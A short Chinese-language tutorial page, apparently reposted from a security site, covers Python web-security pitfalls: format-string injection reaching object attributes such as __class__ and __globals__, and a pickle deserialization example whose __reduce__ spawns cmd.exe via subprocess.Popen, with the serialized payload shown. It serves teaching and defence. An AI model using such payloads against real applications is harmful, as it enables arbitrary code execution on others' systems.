1. 首页
  2. 网络安全技术

WEB安全渗透测试语言与框架:Python

WEB安全渗透测试语言与框架:Python

4.2.1. 格式化字符串

在Python中,有两种格式化字符串的方式,在Python2的较低版本中,格式化字符串的方式为 "this is a %s" % "test" ,之后增加了format的方式, 语法为 "this is a {}".format('test') 或者 "this is a {test}".format(test='test')

当格式化字符串由用户输入时,则可能会造成一些问题,下面是一个最简单的例子

>>> 'class of {0} is {0.__class__}'.format(42)
"class of 42 is <class 'int'>"

从上面这个简单的例子不难知道,当我们可以控制要format的字符串时,则可以使用 __init__ / __globals__ 等属性读取一些比较敏感的值,甚至任意执行代码。

4.2.2. 反序列化

4.2.2.1. pickle

>>> class A(object):
...     a = 1
...     b = 2
...     def __reduce__(self):
...         return (subprocess.Popen, (('cmd.exe',),))
...
>>> cPickle.dumps(A())
"csubprocess\nPopen\np1\n((S'cmd.exe'\np2\ntp3\ntp4\nRp5\n."

4.2.2.2. 其他

  • PyYAML
  • marshal
  • shelve

 

文章来源:【安全时代】 原文链接:https://www.agesec.com/article/6233.html

安全时代全部内容仅适用于网络安全技术爱好者学习研究,学习中请遵循国家相关法律法规。

安全时代全部数据来源互联网,不代表安全时代立场,如侵犯您权益可邮箱联系我们,详情:版权纠纷

发表评论

电子邮件地址不会被公开。 必填项已用*标注